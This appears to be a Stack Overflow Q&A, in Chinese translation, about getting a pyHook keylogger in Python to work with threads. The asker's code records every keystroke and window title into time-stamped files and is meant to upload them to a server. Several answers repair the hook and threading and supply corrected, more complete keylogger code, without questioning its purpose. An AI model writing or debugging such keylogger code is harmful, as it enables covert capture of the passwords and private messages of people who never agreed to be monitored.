【问题标题】:Python threading with pyhook使用 pyhook 的 Python 线程
【发布时间】:2013-03-22 04:55:32
【问题描述】:
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 
def fi():
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass


lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
        global lastWindow       
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            start = '-----------------------------------'
            print str(start)
            print window 
            lastWindow = window
        print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

if __name__ == '__main__':
    Thread(target = fi).start()
    Thread(target = OnKeyboardEvent(event)).start() 

当文件大小超过 20KB 时,第一个代码块 def fi() 正在创建一个新文件。第二个块是键盘记录器,并将密钥记录在文件中。我是 python 和多线程的新手。现在当我运行这段代码时。我只能让键盘记录器工作,没有文件形成,也没有创建日志。请帮我解决这个问题。

  • 我需要从这段代码中创建一个以当前时间命名的日志文件并将所有关键字记录到文件中。然后如果文件变得超过20KB,那么它应该将旧文件上传到服务器并使用新的当前时间制作一个新文件。我是 python 新手,这就是为什么我不确定这段代码有什么问题以及它没有做什么。*

【问题讨论】:

    标签: python multithreading keylogger pyhook


    【解决方案1】:

    第一个问题

    您确实创建了两个线程 - 但第二个线程的目标是返回值 OnKeyboardEvent(event)。这个没有return-statement,所以返回值是None,所以Thread没有目标。

    第二个问题

    您的代码永远不会到达if __name__ == "__main__":-part。它阻止了pythoncom.PumpMessages(),至少对我来说是这样。

    第三个问题

    起初我很困惑你的代码如何在不引发异常的情况下运行 - 最后一行中的event 没有在此范围的早期定义。但是问题 2 暂时阻止了问题 3 的生效,但是如果你解决了这个问题,你也将不得不面对第 3 个问题。

    解决方案

    老实说,我真的不明白你想做什么。您绝对应该解决每个问题。

    1. 不要调用线程的目标,给线程一个函数对象。如果您需要参数,请使用Threadargs-参数,例如Thread(target = OnKeyboardEvent, args=(event)).start()

    2. 我不太清楚pythoncom 的用法。也许pythocom.PumpWaitingMessages() 是你想要的?

    3. 我不知道你想在这里做什么。为什么要在线程中调用回调函数?这个函数没有循环或任何东西,所以它会运行一次然后停止。我猜这只是一次绝望的尝试?

    一般说明

    • 我不建议重新定义sys.stdout,除非你真的必须这样做。
    • close()您打开的文件。也许考虑使用with-statement。
    • 更好:利用logging-模块。它提供了许多不同的可能性。
    • 创建线程时,请考虑结尾。什么时候停止?如何从另一个线程中阻止它?

    【讨论】:

    • 感谢您的回复 Thorsten Kranz 我也厌倦了这个,但我没有得到我需要的输出。请帮我 。谢谢
    【解决方案2】:
    import win32api
    import win32console
    import win32gui
    import pythoncom, pyHook , sys, time , os , threading
    import shutil ,socket ,datetime
    from ftplib import FTP
    from threading import Thread 
    
    def OnKeyboardEvent(event):
    
        # Now you can access your hookmanager, and change which keys you want 
        # to watch. Using 'event' and 'hm', you can do some fun stuff in here.
        global hm
        global lastWindow
    
        window=win32gui.GetWindowText(win32gui.GetForegroundWindow())      
        ####window = event.WindowName
        ####I'm not sure, but these last two functions may not return the "exact" 
        ####name values. I would call the same function you trying to compare against.
    
        key = chr(event.Ascii)
        if window != lastWindow:   ## Now you know these at least come from same function
            start = '-----------------------------------'
            print str(start)
            print window 
            lastWindow = window
        print key
    
    def fi():    #This is your "worker loop"
       while True:
            dr =  socket.gethostname()
            if not os.path.exists(dr):
                    os.makedirs(dr)
            else:
                    pass
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')
            statinfo = os.stat(fil)
            fils = statinfo.st_size
            if(fils > 20):
                now = datetime.datetime.now()
                p = now.strftime("%Y-%m-%d %H-%M")
                temp_path = dr + '/' + p
                fil =  temp_path + '.txt'
                sys.stdout = open(fil,'w')  
            else:
                pass
    
    if __name__ == '__main__':
        """This stuff only executes once"""
    
        global lastWindow
        lastWindow = None
        lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
        print lastWindow
    
        global hm      #if we make this global, we can access inside OnKeyboardEvent
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
    
        Thread(target = fi).start() #This is your worker loop
    
        # We don't need this. OnKeyboardEvent will get callbacks from system
        # thanks to Hookmanager and PumpMessages
        ##Thread(target = OnKeyboardEvent(event)).start()
    
        # You wouldn't want to do it with the way we are set up, but this is a "polite"
        # way to get PumpMessages to return...
    
        #ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages
    
    
        try:
            pythoncom.PumpMessages()   #This call will block forever unless interrupted
    
        except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
            print(e)    
            os._exit()
    

    【讨论】:

    • 您的工作循环 (fi) 没有多大意义。当您使用目录名和文件名时,使用 os.path.join(a,b) 更安全,只是为了确保您的斜杠是好的。似乎您正在尝试通过 StdOut 传递数据,但您正在做的事情是行不通的。您必须将标准输出视为文件... stdout.write(somestuff)
    【解决方案3】:

    我注意到您对原始消息的编辑/评论。如果您仍在努力,这是我的建议。

    忘记日志记录、线程和其他您尝试做的事情。专注于让 PyHook 以最简单的状态工作。从原始代码来看,您似乎很难正确设置 pyHook(注意,我目前没有安装 pyhook,所以这不是经过测试的代码):

    import pyHook
    
    def OnKeyboardEvent(event):
        print(event)
    
    if __name__ == '__main__':
    
        global hm      #if we make this global, we can access inside OnKeyboardEvent
        hm = pyHook.HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
    
        try:
            pythoncom.PumpMessages()   #This call will block forever unless interrupted,
                                   # so get everything ready before you execute this.
    
        except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
            print(e)    
            os._exit()
    

    此代码旨在简单地挂钩任何按键事件,将事件实例打印到控制台。从技术上讲,您不应该在事件回调内部做太多工作(它应该尽快返回),但为了测试,您可能可以将一些 worker-functions 放入事件中环形。这只是暂时的,直到你准备好混合你的线程工作循环。 (如果文件访问函数导致错误,请不要感到惊讶)。

    首先让这个工作。然后尝试将标准输出存储到文件中。 (暂时忘记 20Kb 的文件限制)。

    【讨论】:

      猜你喜欢
      • 2015-11-27
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2019-06-17
      • 2017-11-15
      相关资源
      最近更新 更多